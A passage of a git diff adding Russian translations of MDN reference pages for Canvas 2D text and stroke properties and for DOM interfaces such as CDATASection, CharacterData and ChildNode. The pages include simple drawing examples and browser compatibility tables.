+&lt;textarea id="code" class="playable-code"&gt;
+ctx.strokeStyle = "blue";
+ctx.strokeRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="A_strokeStyle_example" name="A_strokeStyle_example">Использование <code>strokeStyle </code>в циклах<code> for</code></h3>
+
+<p>В этом примере свойство <code>strokeStyle</code> используется для рисования границ фигур. Мы используем метод {{domxref("CanvasRenderingContext2D.arc", "arc()")}} для рисования кругов.</p>
+
+<pre class="brush: js">var ctx = document.getElementById('canvas').getContext('2d');
+for (var i=0;i&lt;6;i++){
+  for (var j=0;j&lt;6;j++){
+    ctx.strokeStyle = 'rgb(0,' + Math.floor(255-42.5*i) + ',' +
+                      Math.floor(255-42.5*j) + ')';
+    ctx.beginPath();
+    ctx.arc(12.5+j*25,12.5+i*25,10,0,Math.PI*2,true);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>Результат выглядит так:</p>
+
+<p>{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokestyle", "CanvasRenderingContext2D.strokeStyle")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Особенности_WebKitBlink">Особенности WebKit/Blink</h2>
+
+<ul>
+ <li>В браузерах на базе Webkit и Blink помимо этого свойства, также поддержвается нестадартный метод <code>ctx.setStrokeColor()</code>.
+
+  <pre class="brush: js">setStrokeColor(color, optional alpha);
+setStrokeColor(grayLevel, optional alpha);
+setStrokeColor(r, g, b, a);
+setStrokeColor(c, m, y, k, a);
+</pre>
+ </li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс предоставляющий данное свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html
new file mode 100644
index 0000000000..e0e98fbc0a
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/stroketext/index.html
@@ -0,0 +1,167 @@
+---
+title: CanvasRenderingContext2D.strokeText()
+slug: Web/API/CanvasRenderingContext2D/strokeText
+translation_of: Web/API/CanvasRenderingContext2D/strokeText
+---
+<div>{{APIRef}}</div>
+
+<p>Метод <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeText(),</code></strong> предоставляемый Canvas 2D API, выполняет обводку заданного текста в заданной позиции (<em>x, y</em>). Если указан необязательный четвертый параметр, текст будет масштабироваться в соответветствие с указанной максимальной шириной.</p>
+
+<p>См. также метод {{domxref("CanvasRenderingContext2D.fillText()")}} для заливки контуров текста.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.strokeText(text, x, y [, maxWidth]);</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>text</code></dt>
+ <dd>Текст, использующий для визуализации следующие свойства: {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}} и {{domxref("CanvasRenderingContext2D.direction","direction")}}.</dd>
+ <dt><code>x</code></dt>
+ <dd>Коодрдината левой нижней точки текста по оси x.</dd>
+ <dt><code>y</code></dt>
+ <dd>Коодрдината левой нижней точки текста по оси y.</dd>
+ <dt><code>maxWidth</code> {{optional_inline}}</dt>
+ <dd>Максимальная ширина текста.  Если ширина надписи больше параметра, текст масштабируется по горизонатли, или, если это невозможно (надпись становится нечитамой), уменьшается размер шрифта.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Использование_метода_strokeText">Использование метода strokeText</h3>
+
+<p>Ниже представлен простой фрагмент кода, использующий strokeText.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.font = "48px serif";
+ctx.strokeText("Hello world", 50, 100);
+</pre>
+
+<p>Вы можете редактировать код, представленный ниже, и сделанные вами изменения отобразятся на холсте в режиме реального времени:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = "48px serif";
+ctx.strokeText("Hello world", 50, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroketext", "CanvasRenderingContext2D.strokeText")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop("1.9.1") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.9.1") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод: {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillText()")}}</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html
new file mode 100644
index 0000000000..306558fa51
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/textalign/index.html
@@ -0,0 +1,130 @@
+---
+title: CanvasRenderingContext2D.textAlign
+slug: Web/API/CanvasRenderingContext2D/textAlign
+tags:
+  - API
+  - Canvas
+  - Выравнивание
+  - Значение
+  - Текст
+translation_of: Web/API/CanvasRenderingContext2D/textAlign
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.textAlign</code></strong> Canvas 2D API определяет текущее выравнивание текста, использованное при прорисовке. Но следует помнить, что выравнивание основывается на значении x метода {{domxref("CanvasRenderingContext2D.fillText", "fillText()")}}. Так что, если значение <code>textAlign</code> равно <code>"center"</code>, то текст будет прорисован в <code>x - (width / 2)</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.textAlign = "left" || "right" || "center" || "start" || "end";</var>
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>left</code></dt>
+ <dd>Выравнивание текста по левому краю.</dd>
+ <dt><code>right</code></dt>
+ <dd>Выравнивание текста по правому краю.</dd>
+ <dt><code>center</code></dt>
+ <dd>Текст отцентрирован.</dd>
+ <dt><code>start</code></dt>
+ <dd>Выравнивание текста в обычном начале строки (левостороннее выравнивание для языков, направленных слева направо, правостороннее - для направленных справа налево).</dd>
+ <dt><code>end</code></dt>
+ <dd>Выравнивание текста в конце строки (правостороннее выравнивание для языков, направленных слева направо, левостороннее - для направленных справа налево</dd>
+</dl>
+
+<p>По умолчанию значение <code>textAlign </code>установлено как <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">"start"</span></font>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Using_the_textAlign_property" name="Using_the_textAlign_property">Использование значения <code>textAlign</code></h3>
+
+<p>Довольно простой сниппет использования значения <code>textAlign </code>для изменения выравнивания текста.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.font = '48px serif';
+ctx.textAlign = 'left';
+ctx.strokeText('Hello world', 0, 100);
+</pre>
+
+<p>Отредактируйте приведенный ниже код и посмотрите, как обновляется ваше обновление на холсте:</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = '48px serif';
+ctx.textAlign = 'left';
+ctx.strokeText('Hello world', 0, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textalign", "CanvasRenderingContext2D.textAlign")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.textAlign")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс, предоставляющий данный метод {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/ru/web/api/canvasrenderingcontext2d/textbaseline/index.html b/files/ru/web/api/canvasrenderingcontext2d/textbaseline/index.html
new file mode 100644
index 0000000000..545cf211b5
--- /dev/null
+++ b/files/ru/web/api/canvasrenderingcontext2d/textbaseline/index.html
@@ -0,0 +1,100 @@
+---
+title: CanvasRenderingContext2D.textBaseline
+slug: Web/API/CanvasRenderingContext2D/textBaseline
+tags:
+  - API
+  - Canvas
+  - Property
+translation_of: Web/API/CanvasRenderingContext2D/textBaseline
+---
+<div>{{APIRef}}</div>
+
+<p><code><strong>CanvasRenderingContext2D</strong></code><strong><code>.textBaseline</code></strong> - свойство Canvas 2D API, указывающее на текущую базовую линию при рисовании текста.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>ctx</em>.textBaseline = "top" || "hanging" || "middle" || "alphabetic" || "ideographic" || "bottom";
+</pre>
+
+<h3 id="Опции">Опции</h3>
+
+<p>Возможные значения:</p>
+
+<dl>
+ <dt><code>"top"</code></dt>
+ <dd>The text baseline is the top of the em square.</dd>
+ <dt><code>"hanging"</code></dt>
+ <dd>The text baseline is the hanging baseline. (Used by Tibetan and other Indic scripts.)</dd>
+ <dt><code>"middle"</code></dt>
+ <dd>The text baseline is the middle of the em square.</dd>
+ <dt><code>"alphabetic"</code></dt>
+ <dd>The text baseline is the normal alphabetic baseline. Значение по умолчанию.</dd>
+ <dt><code>"ideographic"</code></dt>
+ <dd>The text baseline is the ideographic baseline; this is the bottom of the body of the characters, if the main body of characters protrudes beneath the alphabetic baseline. (Used by Chinese, Japanese, and Korean scripts.)</dd>
+ <dt><code>"bottom"</code></dt>
+ <dd>The text baseline is the bottom of the bounding box. This differs from the ideographic baseline in that the ideographic baseline doesn't consider descenders.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Сравнение_значений_свойства">Сравнение значений свойства</h3>
+
+<p>Этот пример демонстрирует различные значения свойства <code>textBaseline</code> и отображение линий при их приминениях.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="550" height="500"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">const canvas = document.getElementById('canvas');
+const ctx = canvas.getContext('2d');
+
+const baselines = ['top', 'hanging', 'middle', 'alphabetic', 'ideographic', 'bottom'];
+ctx.font = '36px serif';
+ctx.strokeStyle = 'red';
+
+baselines.forEach(function (baseline, index) {
+  ctx.textBaseline = baseline;
+  let y = 75 + index * 75;
+  ctx.beginPath();
+  ctx.moveTo(0, y + 0.5);
+  ctx.lineTo(550, y + 0.5);
+  ctx.stroke();
+  ctx.fillText('Abcdefghijklmnop (' + baseline + ')', 0, y);
+});
+</pre>
+
+<h4 id="Результат">Результат</h4>
+
+<p>{{ EmbedLiveSample('Comparison_of_property_values', 700, 550) }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-textbaseline", "CanvasRenderingContext2D.textBaseline")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.textBaseline")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс определяющий это свойство: {{domxref("CanvasRenderingContext2D")}}</li>
+</ul>
diff --git a/files/ru/web/api/cdatasection/index.html b/files/ru/web/api/cdatasection/index.html
new file mode 100644
index 0000000000..e660a2c42a
--- /dev/null
+++ b/files/ru/web/api/cdatasection/index.html
@@ -0,0 +1,75 @@
+---
+title: CDATASection
+slug: Web/API/CDATASection
+translation_of: Web/API/CDATASection
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Интерфейс <code><strong>CDATASection</strong></code> представляет собой раздел CDATA, который может быть использован внутри XML для добавления extended групп "незакавыченного" текста. Символы <code>&lt;</code> and <code>&amp;</code> не нуждаются в кавычках, как внутри раздела CDATA.</p>
+
+<p>В XML, раздел CDATA выглядит так:</p>
+
+<pre class="syntaxbox">&lt;![CDATA[  ... ]]&gt;
+</pre>
+
+<p>Например:</p>
+
+<pre class="brush:xml">&lt;foo&gt;Here is a CDATA section: &lt;![CDATA[  &lt; &gt; &amp; ]]&gt; with all kinds of unescaped text. &lt;/foo&gt;
+</pre>
+
+<p>Единственная последовательность (символов), не разрешенная внутри раздела CDATA -  это сами символы закрытия раздела CDATA:</p>
+
+<pre class="brush:xml">&lt;![CDATA[  ]]&gt; will cause an error   ]]&gt;
+</pre>
+
+<p>Заметьте, что разделы CDATA не следует использовать внутри HTML; они работают только в  XML.</p>
+
+<p>{{InheritanceDiagram(600,120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс не имеет специфических свойств и наследует родительские свойства {{domxref("Text")}}.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>This interface has no specific methods and наследует родительские методы {{domxref("Text")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-cdatasection', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Re-added in <a href="https://github.com/whatwg/dom/pull/295">issue #295</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-667469212', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>No change from {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-667469212', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-667469212', 'CDATASection')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.CDATASection")}}</p>
diff --git a/files/ru/web/api/characterdata/index.html b/files/ru/web/api/characterdata/index.html
new file mode 100644
index 0000000000..95d465f1b1
--- /dev/null
+++ b/files/ru/web/api/characterdata/index.html
@@ -0,0 +1,94 @@
+---
+title: CharacterData
+slug: Web/API/CharacterData
+translation_of: Web/API/CharacterData
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Абстрактный интерфейс <code><strong>CharacterData</strong></code> представляет собой объект {{domxref("Node")}}, который содержит символы. "Абстрактность" интерфейса означает то, что не существует объектов типа <code>CharacterData</code>: интерфейс <code><strong>CharacterData</strong></code> реализуется посредством других интерфейсов, таких как {{domxref("Text")}}, {{domxref("Comment")}}, или {{domxref("ProcessingInstruction")}}, которые не являются абстрактными.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства родителя, {{domxref("Node")}},  реализуется с помощью {{domxref("ChildNode")}} и {{domxref("NonDocumentTypeChildNode")}}интерфейсов.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.data")}}</dt>
+ <dd> - это {{domxref("DOMString")}}, представляющая(ий) текстовые данные, которые содержит этот объект (DOMString).</dd>
+ <dt>{{domxref("CharacterData.length")}} {{readonlyInline}}</dt>
+ <dd>Возвращает an <code>unsigned long</code> и отображает размер строки, содержащейся в <code>CharacterData.data</code>.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.nextElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Element")}} следующий сразу после указанного  {{domxref("Element")}} элемента в дочернем списке своего родителя, или <code>null</code> если указанный элемент - последний в списке.</dd>
+ <dt>{{domxref("NonDocumentTypeChildNode.previousElementSibling")}} {{readonlyInline}}</dt>
+ <dd>Возвращает {{domxref("Element")}} непосредственно до указанного элемента в дочернем списке своего родительского элемента, или <code>null</code> если указанный элемент - первый в списке.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Наследует методы родителя, {{domxref("Node")}}, и реализует(ся) (через) ({{domxref("ChildNode")}} <em>и {{domxref("NonDocumentTypeChildNode")}}интерфейсы</em>.</em></p>
+
+<dl>
+ <dt>{{domxref("CharacterData.appendData()")}}</dt>
+ <dd>Добавляет указанную {{domxref("DOMString")}} к строке <code>CharacterData.data</code>; после выполнения данного метода, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">данные содержат</span></font> объединенный(элемент) {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("CharacterData.deleteData()")}}</dt>
+ <dd>Удаляет указанное количество символов, начиная с указанного отступа, из строки <code>CharacterData.data</code>; после выполнения метода, данные(<code>data)</code> содержат урезанный {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("CharacterData.insertData()")}}</dt>
+ <dd>Inserts the specified characters, at the specified offset, in the <code>CharacterData.data</code> string; when this method returns, <code>data</code> contains the modified {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Удаляет объект из its parent children списка.</dd>
+ <dt>{{domxref("CharacterData.replaceData()")}}</dt>
+ <dd>Заменяет указанное количество символов, начиная с указанного отступа, с указанным {{domxref("DOMString")}}; после выполнения метода, данные(<code>data)</code> содержат измененый {{domxref("DOMString")}}.</dd>
+ <dt>{{domxref("CharacterData.substringData()")}}</dt>
+ <dd>Возвращает {{domxref("DOMString")}}, содержащую(ий) часть <code>CharacterData.data</code> указанной длины и начиная с указанного отступа.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#characterdata', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Added implemention of the {{domxref("ChildNode")}} and {{domxref("NonDocumentTypeChildNode")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Без изменений по сравнению с {{SpecName('DOM2 Core')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>No change from {{SpecName('DOM1')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-FF21A306', 'CharacterData')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p> </p>
+
+<p>{{Compat("api.CharacterData")}}</p>
+
+<h2 id="Смотри(те)_также">Смотри(те) также</h2>
+
+<p> </p>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a>.</li>
+</ul>
diff --git a/files/ru/web/api/childnode/index.html b/files/ru/web/api/childnode/index.html
new file mode 100644
index 0000000000..0d1ebf46ec
--- /dev/null
+++ b/files/ru/web/api/childnode/index.html
@@ -0,0 +1,171 @@
+---
+title: ChildNode
+slug: Web/API/ChildNode
+tags:
+  - API
+  - DOM
+  - Experimental
+  - Expérimental(2)
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/API/ChildNode
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Интерфейс <code><strong>ChildNode</strong></code>  содержит методы, специфичные для объектов  {{domxref("Node")}}, которые имеют родителя.</p>
+
+<p><code>ChildNode</code> это просто интерфейс и ни один объект этого типа не может быть создан; он реализуется объектами {{domxref("Element")}}, {{domxref("DocumentType")}} и {{domxref("CharacterData")}}.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>There is neither inherited, nor specific property.</em></p>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Отсутствуют унаследованные методы.</em></p>
+
+<dl>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Удаляет данный <code>ChildNode</code> из списка потомков его родителя.</dd>
+ <dt>{{domxref("ChildNode.before()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>ChildNode</code>'s parent, just before this <code>ChildNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("ChildNode.after()")}} {{experimental_inline}}</dt>
+ <dd>Inserts a set of {{domxref("Node")}} or {{domxref("DOMString")}} objects in the children list of this <code>ChildNode</code>'s parent, just after this <code>ChildNode</code>. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+ <dt>{{domxref("ChildNode.replaceWith()")}} {{experimental_inline}}</dt>
+ <dd>Заменяет <code>ChildNode</code>  в списке потомков его родителя набором {{domxref("Node")}} или {{domxref("DOMString")}} объектов. {{domxref("DOMString")}} objects are inserted as equivalent {{domxref("Text")}} nodes.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-childnode', 'ChildNode')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Интерфейс <code>ElementTraversal</code>  разделен на {{domxref("ParentNode")}} и <code>ChildNode</code>. Свойства <code>previousElementSibling</code> и <code>nextElementSibling</code> теперь определены в последнем.<br>
